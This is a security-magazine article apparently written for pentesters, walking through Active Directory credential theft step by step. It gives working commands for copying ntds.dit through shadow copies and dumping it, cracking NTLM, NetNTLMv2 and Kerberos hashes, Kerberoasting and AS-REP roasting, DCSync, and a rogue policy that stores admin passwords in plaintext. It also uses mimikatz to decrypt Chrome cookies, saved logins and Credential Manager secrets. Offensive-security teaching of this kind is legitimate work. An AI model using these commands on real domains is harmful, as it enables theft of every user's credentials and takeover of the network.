
warning
All information is provided for informational purposes only. Neither the editorial team nor the author is responsible for any potential harm caused by the information in this article.
Working with ntds.dit
The ntds.
file is a database that stores Active Directory information, including details about users, groups, and group memberships. This database also contains password hashes for all users in the domain.
The first step is to obtain a copy of the ntds.
file. It is located on the domain controller in the directory C:\
. However, it cannot be simply copied because this file is constantly in use by EFS in Active Directory, which means the operator (pentester, red teamer, attacker, or researcher) risks encountering the following error message.

I will describe two methods for copying this file. The first method uses a PowerShell script, and the second involves using Windows’ built-in tools.
The Invoke-NinjaCopy script allows you to copy any files used by Windows services, including ntds.
. The script does not start external services or embed itself into processes or the System context. It acquires a disk handle, granting it the ability to read the raw byte array of the entire volume. The script then analyzes the NTFS structure, searching for a specific signature to locate the file and copies it byte by byte. This approach allows reading even files that are locked by LSASS.

Additionally, this script is written in PowerShell, which enables it to be run directly from memory, avoiding the need to save it to disk.
The second method involves using shadow copies. This is done using the built-in Windows tool, vssadmin. First, you need to create a shadow copy with the following command:
> vssadmin create shadow /for=C:

Now you can copy the unused file ntds.
from there.
> copy \\?\GLOBALROOT\Device\[shadow volume name]\windows\ntds\ntds.dit C:\ntds.dit

The ntds.
file can be copied using two different methods. However, it is encrypted, and to read it, you need the SYSTEM
file, which can also be obtained in several ways, such as from a shadow copy or from the registry.
> copy \\?\GLOBALROOT\Device\[shadow copy volume name]\windows\system32\config\system C:\system
> reg save hklm\system C:\sys


Now the operator has the necessary files and can transfer them to their own machine for further work, specifically for extracting information and cracking password hashes. However, the shadow copy should be deleted first.
> vssadmin delete shadows /shadow=[shadow copy ID]

Hashes can be extracted using the secretsdump
script, which is part of the impacket package.
# secretsdump.py -system ./system -ntds ./ntds.dit LOCAL

To crack NTLM hashes, you can use hashcat
. Save the hashes to a file and start the cracking process.
hashcat -a 0 -m 1000 ntlm.hashes dict.txt


This way, we will obtain some passwords in plain text.
Obtaining Authentication Data Without Interacting with LSASS
Certainly, tools like Mimikatz can be used to retrieve hashes of user passwords. However, this cannot be done without involving the LSASS process since Mimikatz extracts data directly from this process’s memory.
In the Windows system, NetNTLM is a challenge-response protocol used where Kerberos is not supported. In a typical attack, an operator might activate NetNTLMv2 for client authentication and then attempt to authenticate against their decoy server to intercept and analyze the client’s request.
However, using the network is not always a good idea. To avoid this, we can use SSPI — a Microsoft Windows programming interface between applications and security providers. An operator can locally invoke the NTLM authentication method procedure from a user-mode application via SSPI. This will allow the calculation of the NetNTLM response in the context of the logged-in user.
You can accomplish this using the tool InternalMonologue. It offers a wide range of capabilities and various execution options.

The image below demonstrates an example of a Downgrade attack using this tool and Cobalt Strike. This method can effectively acquire the NetNTLMv2 hash of the user under which the attack is executed.

To crack NetNTLMv2 hashes, you can also use hashcat
.

hashcat -a 0 -m 5600 NetNTLMv2.hashes dictionary.txt

This attack is carried out more stealthily compared to using mimikatz because there is no need to inject code into a protected process or dump its memory. Since the NetNTLMv2 hash becomes available through interaction with the local SSPI, network traffic isn’t logged. This means fewer traces are left on the targeted system.
LLMNR/NBT-NS Poisoning
In an Active Directory infrastructure, host name resolution is managed using three protocols: DNS, LLMNR, and NetBIOS. All three facilitate communication with a remote machine using its name as well as its address. If a Windows client is unable to find a specific host name on the network using DNS, it will attempt to resolve it using the Link-Local Multicast Name Resolution (LLMNR) protocol. If this also fails, a NetBIOS query will be performed.
The difference between these protocols is as follows. With DNS, a name-based address request is sent to a server, whereas LLMNR and NetBIOS protocols perform a broadcast within the local network, and the host with the requested name must respond. Additionally, unlike NetBIOS, LLMNR is capable of handling IPv6 addresses.
An operator can listen to broadcast requests for LLMNR (UDP/5355) or NBT-NS (UDP/137) and respond to them as if they know the location of the requested host.
Thus, the complete attack chain looks like this:
- The user accidentally tries to access
\\
instead ofpintserver \\
.printserver - The DNS server reports that it has no such entry.
- The client automatically sends out a broadcast request.
- An attacker responds to the request, posing as a non-existent server.
- The client ends up sending authentication information to the attacker.

In practice, an operator only needs one tool—Responder, where you only need to specify the network interface.

A successful attack will appear as illustrated below.

This allows the operator to obtain users’ NetNTLMv2 password hashes. The methods for cracking these hashes have been discussed earlier.
Kerberoasting
The implementation of the Kerberos protocol in Windows uses Service Principal Names (SPNs) to determine which account to use for encrypting the service ticket. In Active Directory, there are two types of SPNs: host-based SPNs and arbitrary SPNs. The former is associated with a domain computer account, while the latter is typically (though not always) associated with a domain user account.
According to Microsoft documentation, “When a new computer account is created in Active Directory, service principal names (SPNs) for built-in services are automatically generated. In reality, SPNs are only created for the HOST service, and all built-in services use the HOST SPN.” However, since the computer account password is randomly generated by default and changes every 30 days, the operator typically does not pay attention to host-based SPNs in the context of this attack.
Arbitrary names for service accounts can also be registered for domain user accounts. For example, a service account that manages multiple instances of MSSQL. As a result, the default user account will have an SPN <
for each MSSQL instance it is registered for. This account is stored in the user’s profile under the ServicePrincipalName
attribute.
Due to the nature of Kerberos, any user can request a Ticket Granting Service (TGS) for any service with a registered Service Principal Name (SPN) for a user or computer account in Active Directory. Thus, by knowing the credentials of any domain user and the SPNs for accounts within the domain, an operator can request a TGS on behalf of the user for these SPN instances. By cracking the TGS, they can then uncover the passwords for these accounts.

An attack can be carried out both remotely and with direct access to the system. However, first, you need to retrieve all the SPNs (Service Principal Names) from the system. If you have access, it’s advisable to use the built-in setspn tool.
setspn -T [domain] -Q */*

By using this method, we can obtain the SPN for the SQL
user, indicating that they are vulnerable to this type of attack. Locally, a ticket can be acquired using Rubeus.

To remotely obtain an SPN and ticket, you need the credentials of any domain user.
GetUserSPNs.py -request -dc-ip [address] [domain]/[user]

For the hack, hashcat is used.
hashcat -a 0 -m 13100 krb5.hashes dict.txt

Kerberoasting can also be executed by intercepting network traffic and capturing Kerberos TGS tickets in a Man-in-the-Middle (MITM) attack.
AS-REP Roasting
In typical Windows Kerberos operations, when a user initiates a Ticket Granting Ticket (TGT) request (known as a Kerberos AS-REQ operation), they must provide a timestamp encrypted with their password (key). This timestamp is structured as PA-ENC-TIMESTAMP
and is embedded in the PA-DATA (pre-authentication data) of the AS-REQ. The Key Distribution Center (KDC) decrypts this timestamp to verify if the entity performing the operation is truly who they claim to be, after which it returns an AS-REP and continues with the standard authentication procedures.
This type of verification is called Kerberos pre-authentication and is necessary to prevent offline password guessing. However, the verification can be disabled by setting the DONT_REQ_PREAUTH
flag in the user’s UAC account. To disable this check for a specific user, the operator needs the GenericWrite
or GenericAll
privilege.
Set-DomainObject -Identity [user] -XOR @{useraccountcontrol=4194304}
When pre-authentication is disabled, the Kerberos KDC will still return an AS-REP, which is encrypted using the krbtgt
service key. However, the encrypted portion of the AS-REP is signed with the client’s key, meaning the key of the user for whom the AS-REQ is being sent.
The attack can be executed locally using Rubeus.

To conduct a remote attack, we need to identify users with Kerberos pre-authentication disabled, which requires having credentials of any user within the domain.
GetNPUsers.py [domain]/[user]:[password]

Now, let’s execute the query for the identified user.
GetNPUsers.py [domain]/[username] -k -no-pass -dc-ip [IP]

The difference between Kerberoasting and AS-REP Roasting lies in the prerequisites for the attack. For AS-REP Roasting, you only need the username, allowing you to compile a list and check multiple names at once. Moreover, it enables you to determine which users are registered in the system and which are not.


The obtained hash can be cracked using John the Ripper.

Another difference between Kerberoasting and AS-REP Roasting is that AS-REP requests a Kerberos Ticket Granting Ticket (TGT) instead of a Ticket Granting Service (TGS) ticket.
DCSync
To conduct a DCSync attack, specific privileges are required. Any member of the “Administrators” and “Domain Admins” groups, as well as domain controller computer accounts, can perform data replication using the Directory Replication Service (DRS) protocol. The client domain controller sends a DSGetNCChanges
request to the server when it wants to receive updates for Active Directory objects. The response includes a set of updates that the client should apply to its NC replica.
It’s possible to execute a DCSync attack using a regular user account. However, for this to happen, one of the following permissions must be delegated at the domain level to allow the user account to freely retrieve data using DCSync:
-
DS-Replication-Get-Changes
— permission required for replicating only those changes that are also replicated to the global catalog. -
DS-Replication-Get-Changes-All
— permission allows replication of all data.
Members of the “Administrators” and “Domain Controller” groups have these rights by default. Once an account is granted the ability to replicate objects, it can use mimikatz DCSync.
mimikatz# lsadump::dcsync /domain:[domain] /user:[user]

Additionally, when executing this attack, it’s possible to access the account’s password history, specifically the NTLM hashes. Cracking these hashes can reveal the logic behind the password creation, which might help in guessing the next password if it’s changed.

You can also perform DCSync remotely using impacket
, but you’ll need credentials to do so.
secretsdump.py tdomain.dom/root:Secret08@192.168.226.137

Extracting Plaintext Passwords with DCSync
What should you do if the password hash cannot be cracked?


There is a solution! Active Directory accounts have a legacy feature called “reversible encryption.” When reversible encryption is enabled, encrypted data can be converted back into the user’s password.
If reversible encryption is enabled for an account and the user changes their password after this configuration is set up, the password is stored in plain text within the Active Directory database.
The administrator can create a new ShareRoint
group and add all domain accounts that have the AdminCount
attribute set to 1
.
PS > New-ADGroup -Name ShareRoint -SamAccountName ShareRoint -GroupCategory Security -GroupScope Global -DisplayName ShareRoint -Path "CN=Users,DC=tdomain,DC=dom"
PS > $Admins = Get-ADUser -filter { AdminCount -eq 1 }
PS > Add-ADGroupMember ShareRoint -Members $Admins
Now it’s time to establish a new password policy.
PS C:\Windows\system32> New-ADFineGrainedPasswordPolicy -Name ShareRoint -DisplayName ShareRoint -Precedence 1 -ComplexityEnabled $false -ReversibleEncryptionEnabled $true -PasswordHistoryCount 0 -MinPasswordLength 0 -MinPasswordAge 0.00:00:00 -MaxPasswordAge 0.00:00:00 -LockoutThreshold 0 -LockoutObservationWindow 0.00:00:00 -LockoutDuration 0.00:00:00
Let’s check that the attribute ReversibleEncryptionEnabled
is set to True
.
PS C:\Windows\system32> Get-ADFineGrainedPasswordPolicy ShareRoint

Now it’s time to apply the password policy to the new group.
Add-ADFineGrainedPasswordPolicySubject -Identity ShareRoint -Subjects ShareRoint
It’s very easy to verify whether the password policy has been applied.

The new password policy resets all standard domain password security settings. After a password change initiated by the operator, all administrator passwords will be stored in plain text.

Windows Password Storage System
The Data Protection API (DPAPI) is a cryptographic application programming interface in Windows operating systems that ensures data confidentiality by encrypting it.
For almost all cryptosystems, one of the most challenging tasks is key management, particularly the secure storage of keys. If a key is stored as plain text, any user with access to the key can also access the encrypted data. DPAPI enables developers to encrypt private data or keys by using a symmetric key derived from the user’s password.
DPAPI offers a set of APIs for straightforward data encryption (CryptProtectData(
) and decryption (CryptUnprotectData(
) using implicit keys tied to a specific user or system. This allows applications to protect user data without worrying about key management.
A user’s password is utilized to obtain the master key. These keys are located in the folder C:\
, where <
is the user’s security identifier, and <
is the name of the master key. A user may have multiple master keys. This master key must be decrypted using the user’s password or the domain backup key, and then it’s used to decrypt any DPAPI-encrypted data. Therefore, if we attempt to decrypt a DPAPI-encrypted object, such as Chrome cookies, we need to access the specific master key for the user.
Software Utilizing DPAPI
Chrome uses DPAPI to store two main types of data that might interest an operator: cookie files and saved passwords. Cookies are located at %localappdata%\
, and login data can be found at %localappdata%\
. On most systems, %localappdata%
corresponds to C:\
. The encrypted data itself is stored in an SQLite database, which can be accessed using tools like mimikatz. Since I have Chrome Dev installed, in my example, the directory Chrome
is replaced with Chrome
.
You can view the list of cookies and credentials using mimikatz as follows:
mimikatz # dpapi::chrome /in:”%localappdata%\Google\Chrome Dev\User Data\Default\Cookies”

mimikatz # dpapi::chrome /in:”%localappdata%\Google\Chrome Dev\User Data\Default\Login Data”

However, the values of cookies are encrypted using the Data Protection API (DPAPI) with a user’s master key, which is further protected by the user’s password (or a domain backup key). There are several scenarios in which an operator might find themselves trying to access cookie data (or login data).
In the Context of the Target User
The simplest scenario is when your session is within the context of the target user. In this case, you should add the /
flag to the command.
mimikatz # dpapi::chrome /in:”%localappdata%\Google\Chrome Dev\User Data\Default\Cookies” /unprotect

mimikatz # dpapi::chrome /in:”%localappdata%\Google\Chrome Dev\User Data\Default\Login Data” /unprotect

Since the code is executed in the user’s context, their keys will implicitly be used for decryption. The only issue the operator might face is the inability to open the Cookies database while it is in use by Chrome. In that case, it is necessary to simply copy the files to another location and use mimikatz again.
2. In the Context of an Administrator with an Active Target User Session
For instance, if an attacker gains administrative access to a system that currently has active users logged in, the previous scenario would not be effective.

This occurs because the user’s key is implicitly not used in the current context. As indicated by the mimikatz message, the operation requires the user’s master key (along with the GUID). Since the user is logged into the system, their session is open, and DPAPI stores their key information. With administrative access, an operator can extract all DPAPI data, where the master key should be located.
mimikatz # privilege::debug
mimikatz # sekurlsa::dpapi


Now that the operator possesses the master key, they can use it to decrypt user data.
mimikatz # dpapi::chrome /in:"C:\Users\<USER>\AppData\Local\Google\Chrome Dev\User Data\Default\Login Data" /unprotect /masterkey:[master-key]

3. When the Administrator Lacks Access to the Target User’s Session
If the target user is not currently logged into the system, obtaining their master key requires knowing their SID, GUID, and password or NTLM hash of the password. If the password or hash is known (and methods to obtain at least the hash were discussed earlier), then only the SID needs to be found, because the GUID can be extracted from the mimikatz message (as mentioned in the previous point).

And now the operator can obtain the master key.
mimikatz # dpapi::chrome /in:”C:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>” /sid:[SID] /password:[password]

The subsequent steps have already been detailed above.
4. Gaining Administrative Access to the Domain Controller
Let’s now consider a situation where the operator doesn’t have access to user hashes or passwords, and the users are not currently logged into the system. As mentioned earlier, the master key can be obtained using the domain backup key. The backup key never changes and can be used to decrypt any user’s keys within the domain.
mimikatz # privilege::debug
mimikatz # lsadump::backupkeys /system:[domain controller] /export

The operator then needs the target user’s GUID.

The final step is to obtain the master key for this user.
dpapi::masterkey /in:[GUID] /pvk:[PVK-key]

Thus, we have covered all the methods for retrieving saved passwords.
Credential Manager
Credential Manager is a system that allows managing user login details (username and password) for accessing network resources, as well as certificates and credentials for various applications (such as email, web services, and others). Let’s examine how to work with the Credential Manager using the example of RDP (Remote Desktop Protocol).

You can find the same data using the command line as follows (for English locale, use the string /
):
> vaultcmd /listcreds:"Windows Credentials" /all

These credentials are stored in the user’s directory at C:\
.

Let’s take a look at this data.
dpapi::cred /in:C:\Users\<USER>\AppData\Local\Microsoft\Credentials\[vault]

The most intriguing parts here are pbData
(the data to be decrypted) and guidMasterKey
. We’ve covered how to obtain the master key earlier (we’ll skip this step now). Let’s go ahead and decrypt the credentials.
dpapi::cred /in:C:\Users\<USER>\AppData\Local\Microsoft\Credentials\[vault] /masterkeys:[master-key]

In a similar way, you can extract any data stored in WCM.
Conclusion
For those who want more information on this topic, I have created a Telegram channel @RalfHackerChannel, where you can ask your questions (or answer those of other users). See you in future articles!

2022.06.03 — Vulnerable Java. Hacking Java bytecode encryption
Java code is not as simple as it seems. At first glance, hacking a Java app looks like an easy task due to a large number of available…
Full article →
2022.02.09 — F#ck da Antivirus! How to bypass antiviruses during pentest
Antiviruses are extremely useful tools - but not in situations when you need to remain unnoticed on an attacked network. Today, I will explain how…
Full article →
2023.02.13 — Ethernet Abyss. Network pentesting at the data link layer
When you attack a network at the data link layer, you can 'leapfrog' over all protection mechanisms set at higher levels. This article will walk…
Full article →
2022.06.01 — Cybercrime story. Analyzing Plaso timelines with Timesketch
When you investigate an incident, it's critical to establish the exact time of the attack and method used to compromise the system. This enables you to track the entire chain of operations…
Full article →
2022.06.01 — WinAFL in practice. Using fuzzer to identify security holes in software
WinAFL is a fork of the renowned AFL fuzzer developed to fuzz closed-source programs on Windows systems. All aspects of WinAFL operation are described in the official documentation,…
Full article →
2023.02.12 — Gateway Bleeding. Pentesting FHRP systems and hijacking network traffic
There are many ways to increase fault tolerance and reliability of corporate networks. Among other things, First Hop Redundancy Protocols (FHRP) are used for this…
Full article →
2022.06.01 — Log4HELL! Everything you must know about Log4Shell
Up until recently, just a few people (aside from specialists) were aware of the Log4j logging utility. However, a vulnerability found in this library attracted to it…
Full article →
2022.02.16 — Timeline of everything. Collecting system events with Plaso
As you are likely aware, forensic analysis tools quickly become obsolete, while hackers continuously invent new techniques enabling them to cover tracks! As…
Full article →
2022.01.01 — It's a trap! How to create honeypots for stupid bots
If you had ever administered a server, you definitely know that the password-based authentication must be disabled or restricted: either by a whitelist, or a VPN gateway, or in…
Full article →
2023.01.22 — Top 5 Ways to Use a VPN for Enhanced Online Privacy and Security
This is an external third-party advertising publication. In this period when technology is at its highest level, the importance of privacy and security has grown like never…
Full article →